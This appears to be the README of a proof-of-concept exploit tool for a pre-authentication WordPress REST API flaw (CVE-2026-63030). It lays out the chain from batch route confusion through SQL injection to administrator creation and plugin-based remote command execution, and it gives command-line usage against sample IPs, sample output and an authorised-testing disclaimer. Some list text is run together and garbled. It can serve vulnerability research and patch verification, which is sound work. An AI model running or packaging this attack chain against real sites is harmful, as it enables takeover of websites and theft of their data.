
WordPress 未授权RCE EXP | CVE-2026-63030
WordPress REST API путаница маршрутов batch + SQL-инъекция, приводящая к полной цепочке эксплуатации создание администратора без аутентификации → удаленное выполнение кода (PoC).
Предназначено только для авторизованного тестирования безопасности, воспроизведения уязвимости и исследований. Запрещено использование против неавторизованных целей.
| Параметр | Описание |
|---|
| CVE | CVE-2026-63030 |
| Компонент | WordPress Core REST API (/batch/v1) |
| Затрагиваемые версии | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (согласно официальному уведомлению) |
| Предпосылки атаки | На целевой системе включен REST API batch; на сайте есть хотя бы одна опубликованная запись или страница |
| Требования к правам | Не требуется вход (Pre-Auth) |
| Ущерб | Создание учетной записи администратора, а затем загрузка плагина для получения RCE |
Путаница маршрутов REST batch
→ SQL-инъекция в author__not_in
→ UNION для подделки WP_Post / oEmbed cache / Customizer changeset
→ При публикации Customizer переключение на контекст существующего администратора
→ REST /wp/v2/users создание нового администратора
→ Загрузка одноразового плагина в админке
→ Выполнение системных команд
Ключевые моменты (не "наложение записей в БД"):
serve_batch_request_v1() не синхронизированы индексы $matches / $validation на этапе проверки и планирования, что вызывает route confusion.author_exclude попадает в author__not_in запроса WP_Query, вставляется в NOT IN (...), образуя SQL-инъекцию.UNION SELECT подделывается полная строка wp_posts, что запускает логику oEmbed/Customizer и переключает контекст текущего пользователя на существующего администратора.proc_open / passthru / system / shell_exec / exec / popen)disable_functions отключает все функции выполнения команд, создать администратора всё равно можно, но этап RCE завершится неудачейCVE-2026-63030/
├── exp.py # Полный скрипт эксплуатации (один файл, без зависимостей)
└── README.md # Данное описание
id)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
| Параметр | Обязательный | По умолчанию | Описание |
|---|---|---|---|
--url | Да | Нет | Корневой URL целевого WordPress |
--username | Нет | wp2_<hex> | Имя нового администратора |
--password | Нет | Wp2!<random> | Пароль нового администратора |
--email | Нет | <username>@wp2shell.invalid | Email нового администратора |
--command / -c | Нет | id | Команда, выполняемая через одноразовый плагин |
--timeout | Нет | 60 | Тайм-аут одного HTTP-запроса (сек) |
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
После завершения скрипт пытается:
В случае сбоя на промежуточном этапе вручную очистите данные по учётным данным из вывода.
has been disabled for security reasons, значит соответствующая функция отключена в disable_functions. PoC последовательно пробует разные способы выполнения; если все отключены, RCE недоступен, но этап создания администратора всё ещё может быть успешным.wp-admin/users.php и wp-content/plugins/./batch/v1disable_functions и используйте пользователя веб-сервера с минимальными правами, чтобы снизить влияние RCEКод в этом репозитории предназначен только для исследований безопасности и авторизованного воспроизведения уязвимости. Пользователь должен самостоятельно соблюдать местные законы и условия авторизации целевой системы. Автор не несёт ответственности за любое неправомерное использование.